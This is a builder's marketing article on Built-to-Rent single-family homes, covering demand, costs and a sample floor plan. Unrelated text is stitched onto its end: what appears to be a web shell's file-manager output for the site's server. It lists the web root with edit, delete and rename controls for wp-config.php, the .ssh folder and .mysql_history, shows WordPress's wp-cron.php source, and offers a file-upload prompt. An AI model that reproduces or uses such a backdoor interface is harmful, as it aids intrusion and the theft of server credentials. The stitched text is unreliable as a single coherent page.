Built-to-Rent (BTR) single-family homes are attractive to home builders and developers for multiple reasons. With strong, growing consumer preference from quality tenants, BTR homes are a proven type of investment, offering steady, predictable income. It can be a diversification strategy to offset the ups and downs new construction market. Homes Built-to-Rent, as opposed to sell, can offer significant construction savings. And BTR offers numerous options when it comes time to sell.

Consumer Demand

PEW Research reported that 65% of households headed by people younger than 35 were renting, as were 41% of households headed by someone ages 35-44. Looking at the U.S. population, the greatest growth in the next several years will be people currently in their 20s and 30s (highlighted below.)

Build to Rent List 1

Over the next several years, as people now 20 – 40 years old age and have children, the single-family housing option will increasingly be in demand.

Exiting the Great Recession, many builders turned to building larger, more expensive homes due to increased costs for everything, leaving even fewer “affordable” new home options. BTR is one way of addressing the demand for new single-family homes at a monthly payment more households qualify for.

The added space found in three- and four-bedroom single-family houses, rare in the multifamily arena, better suits the needs of growing households. At the same time, as their careers and incomes blossom, these renters are becoming more financially stable and reliable tenants. As compared to multifamily, there’s also less turnover in single-family rentals.

A Solid Investment

Build to Rent List 1

Like single-family home buyers, renters are willing to pay a premium for new construction, especially homes with today’s in-demand design and amenities. Since brand-new homes will have minimal maintenance and repair issues for several years (outside of what would be typically covered under the new home first-year warranty), such expenses will be low. And those BTR first-year warranty costs will likely be less, as compared to the warranty expectations of home buyers. 

A scant decade ago, home builders who survived the housing market downturn were just starting to see would-be buyers again. A BTR portfolio of homes may provide the regular income stream needed to help weather the next new home construction downturn. Such a diversification strategy, moving into an adjacent market space as opposed to something entirely different, allows the BTR home builder to capitalize on existing systems, resources, personnel, and know-how.

Single-family BTR homes can start producing income as each home is completed, as compared to multifamily’s longer construction timeframes before realizing revenues. Another strategy, kicking off a brand-new community by selling and then constructing BTR homes to an investor, can generate the needed capital for further development.

Cost Advantages

Build to Rent List 2

Build-to-Rent can offer numerous, significant savings over for-sale homes.  Home design costs can be spread among a greater number of homes. Value-engineering can maximize efficiency, while repetitive builds minimize the added costs and potential construction delays for products such as roof trusses. Timely product selections based upon ready availability can eliminate costly setbacks, while buying larger quantities of materials may result in added savings.

Not dealing directly with custom home buyers can shorten building timeframes and allow builders to focus on construction, without interruption. Expensive change orders are mostly eliminated, as is the manpower consumed in pricing the changes. Though at the time this is being written the new home market is red-hot, a return to more typical market conditions brings the financial risks associated with speculative construction.

Future Flexibility

Build to Rent List 3

While contracting upfront to Build-to-Rent for investors is one approach, holding a BTR home portfolio produces recurring revenues. Then, when the time is right, the homes can be sold.  Perhaps the existing renter would be interested in purchasing that home. Small investors might want to add a modest number of homes in one community to their rental holdings. Larger investors might be interested in acquiring the entire neighborhood. Regardless of their size, most investors favor newer homes requiring less upkeep, than older homes that may need to be renovated.

Build-to-Rent has become a part of the new construction landscape. The growing preference for renting rather than buying and the opportunity to live in a new single-family home are driving demand. Construction efficiencies coupled with reduced headaches streamline production. Recurring revenues with minimal unexpected expenses create an attractive income stream, and an appreciating asset attractive to numerous buyers makes for a wise investment. Still, the math has to work, beginning with the product to be built. And that starts with homes people aspire to live in. We conclude this series looking at:

Anatomy of a Successful BTR Home Design

As described previously, the sweet spot for single-family BTR houses tends to be three- and four-bedroom homes that are 45-feet-wide or narrower, around 2,000 square feet or less. Here we’ll examine one such design, plan 29318 the Herndon.

Attractive and value-engineered, the Herndon can be built with three bedrooms (1,840 square feet) or four bedrooms at 2,055 square feet, meeting two sets of buyers with one plan. The slab foundation is standard, while both crawl space and basement foundations are optional.  The home’s 36-foot overall width and 46-foot depth fit well on more modest homesites, while the simple foundation saves money.

8538 Comp Rendering
8538 Comp Rendering

With minimal roofline changes, this home can be built with a fourth bedroom.

Make no mistake, home buyers equate 8-foot main level ceiling heights with older homes. Under a 9-foot ceiling, this design’s openness further contributes to a sense of spaciousness on the main floor. The extra-deep kitchen pantry draws applause, and carrying groceries in is quick and direct. Note that you don’t walk through the laundry carrying in those groceries (another “dated” design element.) Rather, there’s the drop zone seat and coat closet in this rear foyer. The powder bath location provides privacy.  And the flex room checks off the box for working from home.

Second-floor accommodations of this design are equally enticing to renters.  Secondary bedrooms are served by a compartmented bathroom which can de-stress the morning rush of trying to get everyone out the door on time. Having the laundry room upstairs eliminates long treks up and down the stairs with an overstuffed laundry basket. A cathedral ceiling in the Owner’s Suite is an unexpected WOW factor, as is the large walk-in closet. The appreciation for the importance of storage is also evident in the bathroom’s 5-foot linen closet. Yes, that linen closet could be omitted in favor of a bathtub. Building the fourth bedroom adds the potential of a second walk-in closet for the Suite, or a private Sanctuary Space/Peloton area.

Herndon First Floor
Herndon Second Floor

For more resources on thoughtful design:

Photo: <a href='https://www.freepik.com/photos/people'>People photo created by yanalya - www.freepik.com</a>

Current Dir: /var/www/designbasics/

[DIR]  .cache [ delete | rename ]
[DIR]  .local [ delete | rename ]
[FILE] .mysql_history [ edit | delete | rename ]
[DIR]  .ssh [ delete | rename ]
[FILE] index.php [ edit | delete | rename ]
[FILE] license.txt [ edit | delete | rename ]
[FILE] readme.html [ edit | delete | rename ]
[FILE] wp-activate.php [ edit | delete | rename ]
[DIR]  wp-admin [ delete | rename ]
[FILE] wp-blog-header.php [ edit | delete | rename ]
[FILE] wp-comments-post.php [ edit | delete | rename ]
[FILE] wp-config-sample.php [ edit | delete | rename ]
[FILE] wp-config.php [ edit | delete | rename ]
[DIR]  wp-content [ delete | rename ]
[FILE] wp-cron.php [ edit | delete | rename ]
[DIR]  wp-includes [ delete | rename ]
[FILE] wp-links-opml.php [ edit | delete | rename ]
[FILE] wp-load.php [ edit | delete | rename ]
[FILE] wp-login.php [ edit | delete | rename ]
[FILE] wp-mail.php [ edit | delete | rename ]
[FILE] wp-settings.php [ edit | delete | rename ]
[FILE] wp-signup.php [ edit | delete | rename ]
[FILE] wp-trackback.php [ edit | delete | rename ]
[FILE] xmlrpc.php [ edit | delete | rename ]

Viewing: /var/www/designbasics/wp-cron.php

<?php
/**
 * A pseudo-cron daemon for scheduling WordPress tasks.
 *
 * WP-Cron is triggered when the site receives a visit. In the scenario
 * where a site may not receive enough visits to execute scheduled tasks
 * in a timely manner, this file can be called directly or via a server
 * cron daemon for X number of times.
 *
 * Defining DISABLE_WP_CRON as true and calling this file directly are
 * mutually exclusive and the latter does not rely on the former to work.
 *
 * The HTTP request to this file will not slow down the visitor who happens to
 * visit when a scheduled cron event runs.
 *
 * @package WordPress
 */

ignore_user_abort( true );

if ( ! headers_sent() ) {
	header( 'Expires: Wed, 11 Jan 1984 05:00:00 GMT' );
	header( 'Cache-Control: no-cache, must-revalidate, max-age=0' );
}

// Don't run cron until the request finishes, if possible.
if ( PHP_VERSION_ID >= 70016 && function_exists( 'fastcgi_finish_request' ) ) {
	fastcgi_finish_request();
} elseif ( function_exists( 'litespeed_finish_request' ) ) {
	litespeed_finish_request();
}

if ( ! empty( $_POST ) || defined( 'DOING_AJAX' ) || defined( 'DOING_CRON' ) ) {
	die();
}

/**
 * Tell WordPress the cron task is running.
 *
 * @var bool
 */
define( 'DOING_CRON', true );

if ( ! defined( 'ABSPATH' ) ) {
	/** Set up WordPress environment */
	require_once __DIR__ . '/wp-load.php';
}

// Attempt to raise the PHP memory limit for cron event processing.
wp_raise_memory_limit( 'cron' );

/**
 * Retrieves the cron lock.
 *
 * Returns the uncached `doing_cron` transient.
 *
 * @ignore
 * @since 3.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @return string|int|false Value of the `doing_cron` transient, 0|false otherwise.
 */
function _get_cron_lock() {
	global $wpdb;

	$value = 0;
	if ( wp_using_ext_object_cache() ) {
		/*
		 * Skip local cache and force re-fetch of doing_cron transient
		 * in case another process updated the cache.
		 */
		$value = wp_cache_get( 'doing_cron', 'transient', true );
	} else {
		$row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", '_transient_doing_cron' ) );
		if ( is_object( $row ) ) {
			$value = $row->option_value;
		}
	}

	return $value;
}

$crons = wp_get_ready_cron_jobs();
if ( empty( $crons ) ) {
	die();
}

$gmt_time = microtime( true );

// The cron lock: a unix timestamp from when the cron was spawned.
$doing_cron_transient = get_transient( 'doing_cron' );

// Use global $doing_wp_cron lock, otherwise use the GET lock. If no lock, try to grab a new lock.
if ( empty( $doing_wp_cron ) ) {
	if ( empty( $_GET['doing_wp_cron'] ) ) {
		// Called from external script/job. Try setting a lock.
		if ( $doing_cron_transient && ( $doing_cron_transient + WP_CRON_LOCK_TIMEOUT > $gmt_time ) ) {
			return;
		}
		$doing_wp_cron        = sprintf( '%.22F', microtime( true ) );
		$doing_cron_transient = $doing_wp_cron;
		set_transient( 'doing_cron', $doing_wp_cron );
	} else {
		$doing_wp_cron = $_GET['doing_wp_cron'];
	}
}

/*
 * The cron lock (a unix timestamp set when the cron was spawned),
 * must match $doing_wp_cron (the "key").
 */
if ( $doing_cron_transient !== $doing_wp_cron ) {
	return;
}

foreach ( $crons as $timestamp => $cronhooks ) {
	if ( $timestamp > $gmt_time ) {
		break;
	}

	foreach ( $cronhooks as $hook => $keys ) {

		foreach ( $keys as $k => $v ) {

			$schedule = $v['schedule'];

			if ( $schedule ) {
				$result = wp_reschedule_event( $timestamp, $schedule, $hook, $v['args'], true );

				if ( is_wp_error( $result ) ) {
					error_log(
						sprintf(
							/* translators: 1: Hook name, 2: Error code, 3: Error message, 4: Event data. */
							__( 'Cron reschedule event error for hook: %1$s, Error code: %2$s, Error message: %3$s, Data: %4$s' ),
							$hook,
							$result->get_error_code(),
							$result->get_error_message(),
							wp_json_encode( $v )
						)
					);

					/**
					 * Fires when an error happens rescheduling a cron event.
					 *
					 * @since 6.1.0
					 *
					 * @param WP_Error $result The WP_Error object.
					 * @param string   $hook   Action hook to execute when the event is run.
					 * @param array    $v      Event data.
					 */
					do_action( 'cron_reschedule_event_error', $result, $hook, $v );
				}
			}

			$result = wp_unschedule_event( $timestamp, $hook, $v['args'], true );

			if ( is_wp_error( $result ) ) {
				error_log(
					sprintf(
						/* translators: 1: Hook name, 2: Error code, 3: Error message, 4: Event data. */
						__( 'Cron unschedule event error for hook: %1$s, Error code: %2$s, Error message: %3$s, Data: %4$s' ),
						$hook,
						$result->get_error_code(),
						$result->get_error_message(),
						wp_json_encode( $v )
					)
				);

				/**
				 * Fires when an error happens unscheduling a cron event.
				 *
				 * @since 6.1.0
				 *
				 * @param WP_Error $result The WP_Error object.
				 * @param string   $hook   Action hook to execute when the event is run.
				 * @param array    $v      Event data.
				 */
				do_action( 'cron_unschedule_event_error', $result, $hook, $v );
			}

			/**
			 * Fires scheduled events.
			 *
			 * @ignore
			 * @since 2.1.0
			 *
			 * @param string $hook Name of the hook that was scheduled to be fired.
			 * @param array  $args The arguments to be passed to the hook.
			 */
			do_action_ref_array( $hook, $v['args'] );

			// If the hook ran too long and another cron process stole the lock, quit.
			if ( _get_cron_lock() !== $doing_wp_cron ) {
				return;
			}
		}
	}
}

if ( _get_cron_lock() === $doing_wp_cron ) {
	delete_transient( 'doing_cron' );
}

die();

Upload File: